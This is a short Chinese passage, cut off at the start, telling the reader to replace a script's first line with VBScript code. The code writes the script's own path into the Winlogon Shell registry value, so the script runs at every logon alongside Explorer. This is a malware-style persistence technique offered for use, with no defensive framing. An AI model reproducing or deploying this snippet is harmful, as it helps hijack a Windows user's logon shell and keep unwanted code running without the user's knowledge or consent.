序。。。把第一句换成 Dim fso,w Set fso = CreateObject(\”scripting.filesystemobject\”) Set w= WScript.CreateObject(\”WScript.shell\”) w.RegWrite \”HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell\”,\”Explorer.exe \”&WScript.ScriptFullName, \”REG_SZ\”